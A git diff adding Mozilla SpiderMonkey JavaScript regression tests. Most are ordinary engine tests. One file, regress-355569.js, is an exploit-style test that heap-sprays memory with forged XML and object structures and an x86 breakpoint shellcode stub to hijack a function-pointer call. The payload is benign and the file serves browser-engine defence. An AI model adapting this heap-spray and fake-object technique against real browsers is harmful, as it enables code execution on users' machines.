Add m-esr52 at 52.6.0

108 files changed, 4047 insertions, 0 deletions

diff --git a/js/src/tests/js1_8_5/regress/browser.js b/js/src/tests/js1_8_5/regress/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/browser.js
diff --git a/js/src/tests/js1_8_5/regress/regress-355569.js b/js/src/tests/js1_8_5/regress/regress-355569.js
new file mode 100644
index 000000000..b14c83cb6
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-355569.js
@@ -0,0 +1,127 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 4 -*- */
+
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+var bug = 355569;
+var actual = '';
+var expect = '';
+
+printBugNumber (bug);
+printStatus (summary);
+
+var targetAddress = 0x12030010;
+var sprayParams = {
+  chunkSize: 16 * 1024 * 1024,
+  chunkCount: 16,
+  chunkMarker: 0xdeadface,
+  chunkAlign: 0x1000,
+  reservedSize: 1024
+};
+
+function makeExploitCode() {
+  /* mov eax, 0xdeadfeed; mov ebx, eax; mov ecx, eax; mov edx, eax; int3 */
+  return "\uEDB8\uADFE\u89DE\u89C3\u89C1\uCCC2";
+}
+
+/*==========================================================================*/
+/*==========================================================================*/
+
+function packData(template, A) {
+  var n = 0, result = "", vl;
+  for(var i = 0; i < template.length; i++) {
+    var ch = template.charAt(i);
+    if(ch == "s" || ch == "S") {
+      vl = A[n++] >>> 0; result += String.fromCharCode(vl & 0xffff);
+    } else if(ch == "l" || ch == "L") { // XXX endian
+      vl = A[n++] >>> 0; result += String.fromCharCode(vl & 0xffff, vl >> 16);
+    } else if(ch == "=") {
+      result += String(A[n++]);
+    }
+  }
+  return result;
+}
+function buildStructure(worker, address) {
+  var offs = {}, result = "", context = {
+    append: function(k, v) { offs[k] = result.length * 2; result += v; },
+    address: function(k) { return address + ((k && offs[k]) || 0); }
+  }; worker(context); result = ""; worker(context); return result;
+}
+function repeatToLength(s, L) {
+  if(L <= s.length) { return s.substring(0, L); }
+  while(s.length <= L/2) { s += s; }
+  return s + s.substring(0, L - s.length);
+}
+function sprayData(data, params, rooter) {
+  var marker = packData("L", [ params.chunkMarker ]);
+  data += repeatToLength("\u9090", params.chunkAlign / 2 - data.length);
+  data = repeatToLength(data, (params.chunkSize - params.reservedSize) / 2);
+  for(var i = 0; i < params.chunkCount; i++) {
+    rooter[i] = marker + data + i;
+  }
+}
+
+function T_JSObject(map, slots)
+{ return packData("LL", arguments); }
+function T_JSObjectMap(nrefs, ops, nslots, freeslot)
+{ return packData("LLLL", arguments); }
+function T_JSObjectOps(
+  newObjectMap, destroyObjectMap, lookupProperty, defineProperty,
+  getProperty, setProperty, getAttributes, setAttributes,
+  deleteProperty, defaultValue, enumerate, checkAccess,
+  thisObject, dropProperty, call, construct,
+  xdrObject, hasInstance, setProto, setParent,
+  mark, clear, getRequiredSlot, setRequiredSlot
+) { return packData("LLLLLLLL LLLLLLLL LLLLLLLL", arguments); }
+
+function T_JSXML_LIST(
+  object, domnode, parent, name, xml_class, xml_flags,
+  kids_length, kids_capacity, kids_vector, kids_cursors,
+  xml_target, xml_targetprop
+) { return packData("LLLLSS LLLL LL", arguments); }
+function T_JSXML_ELEMENT(
+  object, domnode, parent, name, xml_class, xml_flags,
+  kids_length, kids_capacity, kids_vector, kids_cursors,
+  nses_length, nses_capacity, nses_vector, nses_cursors,
+  atrs_length, atrs_capacity, atrs_vector, atrs_cursors
+) { return packData("LLLLSS LLLL LLLL LLLL", arguments); }
+
+/*==========================================================================*/
+/*==========================================================================*/
+
+function makeExploitData(address) {
+  return buildStructure(function(ctx) {
+    ctx.append("xml-list",
+      T_JSXML_LIST(0, 0, 0, 0, 0, 0, 1, 0, ctx.address("xml-kids-vector"), 0, 0, 0));
+    ctx.append("xml-kids-vector",
+      packData("L", [ ctx.address("xml-element") ]));
+    ctx.append("xml-element",
+      T_JSXML_ELEMENT(ctx.address("object"), 0, 0, 0, 1, 0, 0, 0, 0, 0, /*c*/ 0, 0, 0, 0, /*d*/ 0, 0, 0, 0));
+    ctx.append("object",
+      T_JSObject(ctx.address("object-map"), 0));
+    ctx.append("object-map",
+      T_JSObjectMap(0, ctx.address("object-ops"), 0, 0));
+    ctx.append("object-ops",
+      T_JSObjectOps(0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, ctx.address("exploit-code"), 0));
+    ctx.append("exploit-code",
+      makeExploitCode(ctx));
+  }, address);
+}
+
+function exploit() {
+  sprayData(makeExploitData(targetAddress), sprayParams, this.rooter = {});
+  var numobj = new Number(targetAddress >> 1);
+  printStatus("probably not exploitable");
+}
+
+try
+{
+    exploit();
+}
+catch(ex)
+{
+}
+
+reportCompare(expect, actual);
+
diff --git a/js/src/tests/js1_8_5/regress/regress-373843.js b/js/src/tests/js1_8_5/regress/regress-373843.js
new file mode 100644
index 000000000..677e33353
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-373843.js
@@ -0,0 +1,13 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+if (typeof disassemble != 'undefined')
+{
+    var func = disassemble(function() { return "c\\d"; })
+
+    // The disassembled function will contain a bytecode "string" with the content of the string next to it.
+    // Check if that string isn't over-escaped i.e. \\ isn't escaped to \\\\ .
+    assertEq(func.indexOf("\\\\\\\\"), -1)
+}
+
+reportCompare(0, 0, 'ok');
diff --git a/js/src/tests/js1_8_5/regress/regress-383902.js b/js/src/tests/js1_8_5/regress/regress-383902.js
new file mode 100644
index 000000000..ed9559746
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-383902.js
@@ -0,0 +1,41 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var c = 0;
+
+function f(a) {
+  const b = a;
+  try {
+    eval('"use strict"; b = 1 + a; c = 1');
+    assertEq(0, 1);
+  } catch (e) {
+    assertEq(e.name, 'TypeError');
+    assertEq(0, c);
+    assertEq(a, b);
+  }
+}
+
+var w = 42;
+f(w);
+
+c = 2;
+try {
+  eval('"use strict"; function g(x) { const y = x; y = 1 + x; } c = 3');
+} catch (e) {
+  assertEq(0, 1);
+}
+
+c = 4;
+try {
+  eval('"use strict"; const z = w; z = 1 + w; c = 5');
+  assertEq(0, 1);
+} catch (e) {
+  assertEq(e.name, 'TypeError');
+  assertEq(4, c);
+  assertEq('z' in this, false);
+}
+
+reportCompare(0, 0, "ok");
diff --git a/js/src/tests/js1_8_5/regress/regress-469758.js b/js/src/tests/js1_8_5/regress/regress-469758.js
new file mode 100644
index 000000000..27fa1ed8a
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-469758.js
@@ -0,0 +1,14 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+var err;
+try {
+    {let i=1}
+    {let j=1; [][j][2]}
+} catch (e) {
+    err = e;
+}
+assertEq(err instanceof TypeError, true);
+assertEq(err.message, "[][j] is undefined");
+
+reportCompare(0, 0, 'ok');
diff --git a/js/src/tests/js1_8_5/regress/regress-477053.js b/js/src/tests/js1_8_5/regress/regress-477053.js
new file mode 100644
index 000000000..934a502cc
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-477053.js
@@ -0,0 +1,25 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 4 -*- */
+
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+var summary = 'Do not assert: v.isString()';
+var BUGNUMBER = 477053;
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+
+try
+{
+    function f() { eval("with(arguments)throw [];"); }
+    f();
+}
+catch(ex)
+{
+}
+
+reportCompare(expect, actual);
+
diff --git a/js/src/tests/js1_8_5/regress/regress-500528.js b/js/src/tests/js1_8_5/regress/regress-500528.js
new file mode 100644
index 000000000..bf2908e20
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-500528.js
@@ -0,0 +1,22 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributor: Jason Orendorff
+ */
+
+// This test appeared in bug 497789 comment 78.
+
+var a = {x: 'a'},
+    b1 = Object.create(a),
+    c1 = Object.create(b1),
+    b2 = Object.create(a),
+    c2 = Object.create(b2);
+
+b2.x = 'b';  // foreshadowing a.x
+
+var s = '';
+for each (var obj in [c1, c2])
+    s += obj.x;
+assertEq(s, 'ab');
+
+reportCompare(0, 0, "Property cache soundness: objects with the same shape but different prototypes.");
diff --git a/js/src/tests/js1_8_5/regress/regress-533876.js b/js/src/tests/js1_8_5/regress/regress-533876.js
new file mode 100644
index 000000000..e44bc8a4f
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-533876.js
@@ -0,0 +1,23 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributors: Gary Kwong and Jason Orendorff
+ */
+
+var savedEval = eval;
+var x = [0];
+eval();
+
+x.__proto__ = this;  // x has non-dictionary scope
+try {
+    DIE;
+} catch(e) {
+}
+
+delete eval;  // force dictionary scope for global
+gc();
+eval = savedEval;
+var f = eval("(function () { return /x/; })");
+x.watch('x', f);  // clone property from global to x, including SPROP_IN_DICTIONARY flag
+
+reportCompare("ok", "ok", "bug 533876");
diff --git a/js/src/tests/js1_8_5/regress/regress-541255-3.js b/js/src/tests/js1_8_5/regress/regress-541255-3.js
new file mode 100644
index 000000000..e352429b2
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-541255-3.js
@@ -0,0 +1,13 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributors: Gary Kwong and Jason Orendorff
+ */
+
+function f(y) {
+    eval("{ let z=2, w=y; (function () { w.p = 7; })(); }");
+}
+var x = {};
+f(x);
+assertEq(x.p, 7);
+reportCompare(0, 0, "");
diff --git a/js/src/tests/js1_8_5/regress/regress-541455.js b/js/src/tests/js1_8_5/regress/regress-541455.js
new file mode 100644
index 000000000..7ee3a4015
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-541455.js
@@ -0,0 +1,12 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributors: Gary Kwong and Jason Orendorff
+ */
+
+function f(x) { return eval('"mumble"; x + 42'); }
+
+var expect = true;
+var actual = ('' + f).indexOf("mumble") >= 0;
+
+reportCompare(expect, actual, "unknown directive in eval code wrongly dropped");
diff --git a/js/src/tests/js1_8_5/regress/regress-548276.js b/js/src/tests/js1_8_5/regress/regress-548276.js
new file mode 100644
index 000000000..5e306eba1
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-548276.js
@@ -0,0 +1,10 @@
+// |reftest| skip
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributors: Gary Kwong and Jason Orendorff
+ */
+var obj = {};
+obj.__defineSetter__("x", function() {});
+obj.watch("x", function() {});
+obj.__defineSetter__("x", /a/);
diff --git a/js/src/tests/js1_8_5/regress/regress-551763-0.js b/js/src/tests/js1_8_5/regress/regress-551763-0.js
new file mode 100644
index 000000000..6aeceac23
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-551763-0.js
@@ -0,0 +1,27 @@
+(function() {
+    var o = {'arguments': 42};
+    with (o) { // Definitely forces heavyweight.
+        // Note syntax is not a property access.
+        reportCompare(delete arguments, true,
+                      "arguments property deletion within with block");
+    }
+    reportCompare('arguments' in o, false,
+                  "property deletion observable");
+})();
+
+(function() {
+    var o = {'arguments': 42};
+    delete o.arguments;
+    reportCompare('arguments' in o, false,
+                  "arguments property deletion with property access syntax");
+})();
+
+(function() {
+    var arguments = 42; // Forces heavyweight.
+    reportCompare(delete arguments, false,
+                  "arguments variable");
+})();
+
+(function() {
+    reportCompare(delete arguments, false, "arguments object");
+})();
diff --git a/js/src/tests/js1_8_5/regress/regress-551763-1.js b/js/src/tests/js1_8_5/regress/regress-551763-1.js
new file mode 100644
index 000000000..aced2eb7a
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-551763-1.js
@@ -0,0 +1,7 @@
+// |reftest| skip-if(xulRuntime.shell)
+// skip in the shell because 'arguments' is defined as a shell utility function
+
+/* Check we can delete arguments in the global space. */
+arguments = 42;
+reportCompare(delete arguments, true, "arguments defined as global");
+
diff --git a/js/src/tests/js1_8_5/regress/regress-551763-2.js b/js/src/tests/js1_8_5/regress/regress-551763-2.js
new file mode 100644
index 000000000..500488818
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-551763-2.js
@@ -0,0 +1,6 @@
+// |reftest| skip-if(xulRuntime.shell)
+// skip in the shell because 'arguments' is defined as a shell utility function
+
+/* Check we can't delete a var-declared arguments in global space. */
+var arguments = 42;
+reportCompare(delete arguments, false, "arguments defined as global variable");
diff --git a/js/src/tests/js1_8_5/regress/regress-552432.js b/js/src/tests/js1_8_5/regress/regress-552432.js
new file mode 100644
index 000000000..615fd0500
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-552432.js
@@ -0,0 +1,16 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 4 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+(function (y) {
+    arguments.y = 2;
+    var x = Object.create(arguments);
+    x[0] = 3;
+    assertEq(x[0], 3);
+    assertEq(x.y, 2);
+    assertEq(y, 1);
+})(1);
+
+reportCompare(0, 0, 'ok');
diff --git a/js/src/tests/js1_8_5/regress/regress-553778.js b/js/src/tests/js1_8_5/regress/regress-553778.js
new file mode 100644
index 000000000..797165e54
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-553778.js
@@ -0,0 +1,16 @@
+/*
+ * This should compile without triggering the following assertion:
+ * 
+ * Assertion failure: cg->fun->u.i.skipmin <= skip, at ../jsemit.cpp:2346
+ */
+
+function f() {
+    function g() {
+        function h() {
+            g; x;
+        }
+        var [x] = [];
+    }
+}
+
+reportCompare(true, true);
diff --git a/js/src/tests/js1_8_5/regress/regress-554955-1.js b/js/src/tests/js1_8_5/regress/regress-554955-1.js
new file mode 100644
index 000000000..80c26b088
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-554955-1.js
@@ -0,0 +1,33 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 4 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+function f(s) {
+  eval(s);
+  return function(a) {
+    var d;
+    {
+      let c = 3;
+      d = function() { a; }; // force Block object to be cloned
+      with({}) {}; // repel JägerMonkey
+      return b; // lookup occurs in scope of Block
+    }
+  };
+}
+
+var b = 1;
+var g1 = f("");
+var g2 = f("var b = 2;");
+
+/* Call the lambda once, caching a reference to the global b. */
+g1(0);
+
+/* 
+ * If this call sees the above cache entry, then it will erroneously use the
+ * global b.
+ */
+assertEq(g2(0), 2);
+
+reportCompare(true, true);
diff --git a/js/src/tests/js1_8_5/regress/regress-554955-2.js b/js/src/tests/js1_8_5/regress/regress-554955-2.js
new file mode 100644
index 000000000..659b5c877
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-554955-2.js
@@ -0,0 +1,29 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 4 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+function f(s) {
+    eval(s);
+    return function(a) {
+        with({}) {}; // repel JägerMonkey
+        eval(a);
+        return b;
+    };
+}
+
+var b = 1;
+var g1 = f("");
+var g2 = f("var b = 2;");
+
+/* Call the lambda once, caching a reference to the global b. */
+g1('');
+
+/*
+ * If this call sees the above cache entry, then it will erroneously use
+ * the global b.
+ */
+assertEq(g2(''), 2);
+
+reportCompare(true, true);
diff --git a/js/src/tests/js1_8_5/regress/regress-554955-3.js b/js/src/tests/js1_8_5/regress/regress-554955-3.js
new file mode 100644
index 000000000..c4e1a60ce
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-554955-3.js
@@ -0,0 +1,32 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 4 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+function f(s) {
+    eval(s);
+    return function(a) {
+        with({}) {}; // repel JägerMonkey
+        eval(a);
+        {
+            let c = 3;
+            return b;
+        };
+    };
+}
+
+var b = 1;
+var g1 = f("");
+var g2 = f("var b = 2;");
+
+/* Call the lambda once, caching a reference to the global b. */
+g1('');
+
+/* 
+ * If this call sees the above cache entry, then it will erroneously use the
+ * global b.
+ */
+assertEq(g2(''), 2);
+
+reportCompare(true, true);
diff --git a/js/src/tests/js1_8_5/regress/regress-554955-4.js b/js/src/tests/js1_8_5/regress/regress-554955-4.js
new file mode 100644
index 000000000..09713c2f9
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-554955-4.js
@@ -0,0 +1,37 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 4 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+function f() {
+    return function(a) {
+        // This eval must take place before the block is cloned, when the
+        // call object is still not marked as a delegate. The scope chain
+        // purge for the JSOP_DEFVAR will not change the global's shape,
+        // and the property cache entry will remain valid.
+        eval(a);
+        {
+            let c = 3;
+            // This eval forces the block to be cloned, so its shape gets
+            // used as the property cache key shape.
+            eval('');
+            return b;
+        };
+    };
+}
+
+var b = 1;
+var g1 = f();
+var g2 = f();
+
+/* Call the lambda once, caching a reference to the global b. */
+g1('');
+
+/*
+ * If this call sees the above cache entry, then it will erroneously use the
+ * global b.
+ */
+assertEq(g2('var b=2'), 2);
+
+reportCompare(true, true);
diff --git a/js/src/tests/js1_8_5/regress/regress-554955-5.js b/js/src/tests/js1_8_5/regress/regress-554955-5.js
new file mode 100644
index 000000000..dc8769a1f
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-554955-5.js
@@ -0,0 +1,30 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 4 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+function f(s) {
+    if (s) {
+        function b() { }
+    }
+    return function(a) {
+        eval(a);
+        return b;
+    };
+}
+
+var b = 1;
+var g1 = f(false);
+var g2 = f(true);
+
+/* Call the lambda once, caching a reference to the global b. */
+g1('');
+
+/*
+ * If this call sees the above cache entry, then it will erroneously use the
+ * global b.
+ */
+assertEq(typeof g2(''), "function");
+
+reportCompare(true, true);
diff --git a/js/src/tests/js1_8_5/regress/regress-554955-6.js b/js/src/tests/js1_8_5/regress/regress-554955-6.js
new file mode 100644
index 000000000..73faaefb0
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-554955-6.js
@@ -0,0 +1,50 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 4 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var v="global";
+function f(a) {
+  // This eval could extend f's call object. However, the call object has
+  // not yet been marked as a delegate at this point, so no scope chain
+  // purge takes place when it is extended.
+  eval(a);
+  {
+    let b=3;
+    // This eval causes the cloned block object to be added to the
+    // scope chain. The block needs a unique shape: its parent call
+    // could acquire bindings for anything without affecting the global
+    // object's shape, so it's up to the block's shape to mismatch all
+    // property cache entries for prior blocks.
+    eval("");
+    return v;
+  };
+}
+
+// Call the function once, to cache a reference to the global v from within
+// f's lexical block.
+assertEq("global", f(""));
+
+// Call the function again, adding a binding to the call, and ensure that
+// we do not see any property cache entry created by the previous reference
+// that would direct us to the global definition.
+assertEq("local", f("var v='local'"));
+
+// Similarly,but with a doubly-nested block; make sure everyone gets marked.
+function f2(a) {
+  eval(a);
+  {
+    let b=3;
+    {
+      let c=4;
+      eval("");
+      return v;
+    };
+  };
+}
+
+assertEq("global", f2(""));
+assertEq("local",  f2("var v='local'"));
+
+reportCompare(true, true);
diff --git a/js/src/tests/js1_8_5/regress/regress-555246-0.js b/js/src/tests/js1_8_5/regress/regress-555246-0.js
new file mode 100644
index 000000000..2a4efe052
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-555246-0.js
@@ -0,0 +1,14 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributor: Jason Orendorff
+ */
+
+if (typeof evalcx == 'function') {
+    var cx = evalcx("");
+    evalcx("function f() { return this; }", cx);
+    var f = cx.f;
+    assertEq(f(), cx);
+}
+
+reportCompare(0, 0, "");
diff --git a/js/src/tests/js1_8_5/regress/regress-555246-1.js b/js/src/tests/js1_8_5/regress/regress-555246-1.js
new file mode 100644
index 000000000..c9bd4d0f3
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-555246-1.js
@@ -0,0 +1,18 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributor: Jason Orendorff
+ */
+
+if (typeof evalcx == 'function') {
+    var cx = evalcx("");
+    evalcx("function f() { return this; }", cx);
+    f = cx.f;
+    assertEq(f(), cx);
+
+    evalcx("function g() { 'use strict'; return this; }", cx);
+    g = cx.g;
+    assertEq(g(), undefined);
+}
+
+reportCompare(0, 0, "ok");
diff --git a/js/src/tests/js1_8_5/regress/regress-559402-1.js b/js/src/tests/js1_8_5/regress/regress-559402-1.js
new file mode 100644
index 000000000..d37c2bfa7
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-559402-1.js
@@ -0,0 +1,22 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+var expect = "No error";
+var actual = expect;
+
+if (typeof options == "function") {
+    var opts = options();
+    if (!/\bstrict\b/.test(opts))
+        options("strict");
+    if (!/\bwerror\b/.test(opts))
+        options("werror");
+}
+
+try {
+    eval('function foo() { "use strict"; }');
+} catch (e) {
+    actual = '' + e;
+}
+
+reportCompare(expect, actual, "ok");
diff --git a/js/src/tests/js1_8_5/regress/regress-559402-2.js b/js/src/tests/js1_8_5/regress/regress-559402-2.js
new file mode 100644
index 000000000..ca0988cbb
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-559402-2.js
@@ -0,0 +1,8 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+var expect = undefined;
+var actual = (function foo() { "bogus"; })();
+
+reportCompare(expect, actual, "ok");
diff --git a/js/src/tests/js1_8_5/regress/regress-559438.js b/js/src/tests/js1_8_5/regress/regress-559438.js
new file mode 100644
index 000000000..c2b440c18
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-559438.js
@@ -0,0 +1,10 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributor: Jason Orendorff
+ */
+
+function f(x) { return 1 + "" + (x + 1); }
+reportCompare("12", f(1), "");
+var g = eval("(" + f + ")");
+reportCompare("12", g(1), "");
diff --git a/js/src/tests/js1_8_5/regress/regress-560998-1.js b/js/src/tests/js1_8_5/regress/regress-560998-1.js
new file mode 100644
index 000000000..4aa25fd7a
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-560998-1.js
@@ -0,0 +1,10 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+// Contributor: Jesse Ruderman
+
+for (let j = 0; j < 4; ++j) {
+  function g() { j; }
+  g();
+}
+
+reportCompare(0, 0, "ok");
diff --git a/js/src/tests/js1_8_5/regress/regress-560998-2.js b/js/src/tests/js1_8_5/regress/regress-560998-2.js
new file mode 100644
index 000000000..24491a1be
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-560998-2.js
@@ -0,0 +1,10 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+// Contributor: Jason Orendorff <jorendorff@mozilla.com>
+
+var x = {};
+for (var i = 0; i < 2; i++) {
+    Object.defineProperty(x, "y", {configurable: true, value: function () {}});
+    x.y();
+}
+reportCompare(0, 0, "ok");
diff --git a/js/src/tests/js1_8_5/regress/regress-561031.js b/js/src/tests/js1_8_5/regress/regress-561031.js
new file mode 100644
index 000000000..944a22ee1
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-561031.js
@@ -0,0 +1,1830 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributor: Gary Kwong
+ */
+
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
